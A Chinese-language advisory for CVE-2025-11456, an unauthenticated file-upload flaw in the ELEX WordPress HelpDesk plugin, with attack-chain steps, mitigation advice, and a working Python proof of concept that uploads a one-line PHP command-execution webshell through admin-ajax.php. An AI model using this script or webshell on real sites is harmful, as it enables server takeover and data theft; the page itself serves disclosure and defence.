CVE-2025-11456 WordPress ELEX HelpDesk插件任意文件上传漏洞

漏洞信息

漏洞编号

CVE-2025-11456

漏洞类型

任意文件上传

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ELEX WordPress HelpDesk & Customer Ticketing System插件

漏洞概述

CVE-2025-11456是WordPress平台ELEX HelpDesk & Customer Ticketing System插件中的一个高危安全漏洞。该插件是一款广泛应用于WordPress网站的工单系统和客户服务解决方案，帮助企业管理和处理客户支持请求。然而，在3.3.1及以下所有版本中，插件的eh_crm_new_ticket_post()函数存在严重的任意文件上传漏洞。由于该函数缺少对上传文件类型的有效验证，攻击者可以在无需任何认证的情况下，向目标服务器上传任意类型的文件。这一漏洞的CVSS评分高达9.8分，属于严重级别，潜在威胁包括服务器被完全控制、数据泄露、恶意代码植入等。攻击者可能利用此漏洞上传webshell或其他恶意脚本，进而实现远程代码执行(RCE)，完全接管网站服务器。对于使用该插件的所有WordPress站点，建议立即采取防护措施，避免遭受攻击。

技术细节

该漏洞的根本原因在于eh_crm_new_ticket_post()函数在处理文件上传请求时，未对上传文件的MIME类型和扩展名进行充分的验证。在正常的文件上传功能中，服务器端应该对文件类型进行白名单校验，确保只允许上传预定义的安全文件类型（如图片、文档等），并对文件名进行清理和重命名。然而，该函数直接接受用户提交的任意文件，未进行任何安全检查。攻击者可以构造一个HTTP POST请求，在请求中包含恶意的PHP文件或其他可执行脚本，并将其作为工单附件上传到服务器。上传成功后，攻击者只需访问该文件的URL即可在服务器上执行任意代码，实现远程代码执行。整个攻击过程无需任何认证，攻击者可以是任意互联网用户。由于WordPress插件通常具有较高的服务器访问权限，成功利用此漏洞可能导致整个网站服务器被完全控制。

攻击链分析

STEP 1

步骤1

攻击者识别目标网站，发现使用存在漏洞的ELEX HelpDesk插件（版本<=3.3.1）

STEP 2

步骤2

攻击者构造恶意文件（如PHP webshell），准备作为工单附件上传

STEP 3

步骤3

攻击者向/wp-admin/admin-ajax.php发送POST请求，调用eh_crm_new_ticket_post()函数，附加恶意文件

STEP 4

步骤4

服务器端eh_crm_new_ticket_post()函数未验证文件类型，直接保存恶意文件到服务器

STEP 5

步骤5

攻击者访问上传的恶意文件URL，在服务器上执行任意代码，实现RCE

STEP 6

步骤6

攻击者完全控制服务器，可窃取数据、安装后门、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-11456 PoC - Arbitrary File Upload in ELEX WordPress HelpDesk Plugin
# Target: WordPress site with ELEX HelpDesk plugin <= 3.3.1
# Vulnerability: Missing file type validation in eh_crm_new_ticket_post()

def upload_shell(target_url, webshell_content):
    """
    Upload arbitrary file to target server via vulnerable endpoint
    """
    # Construct upload endpoint
    upload_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Prepare malicious file
    files = {
        'file': ('shell.php', webshell_content, 'application/x-php')
    }
    
    # Form data for ticket submission
    data = {
        'action': 'eh_crm_new_ticket_post',
        'ticket_subject': 'Test Ticket',
        'ticket_body': 'This is a test ticket',
        'ticket_priority': 'low'
    }
    
    try:
        # Send malicious upload request
        response = requests.post(upload_url, data=data, files=files, timeout=10)
        
        if response.status_code == 200:
            print('[+] File upload request sent successfully')
            print(f'[+] Response: {response.text}')
            return True
        else:
            print(f'[-] Request failed with status: {response.status_code}')
            return False
            
    except requests.exceptions.RequestException as e:
        print(f'[-] Error: {str(e)}')
        return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: python {sys.argv[0]} <target_url>')
        print(f'Example: python {sys.argv[0]} http://example.com')
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    
    # PHP webshell content
    webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'
    
    print('[*] CVE-2025-11456 PoC - ELEX HelpDesk Arbitrary File Upload')
    print(f'[*] Target: {target}')
    
    upload_shell(target, webshell)

影响范围

ELEX HelpDesk & Customer Ticketing System <= 3.3.1

防御指南

临时缓解措施

立即临时禁用或删除ELEX HelpDesk插件，直到完成安全更新。同时，在Web服务器配置中禁用上传目录的PHP执行权限，可使用.htaccess规则设置php_flag engine off或删除上传目录的执行权限，防止恶意脚本被执行。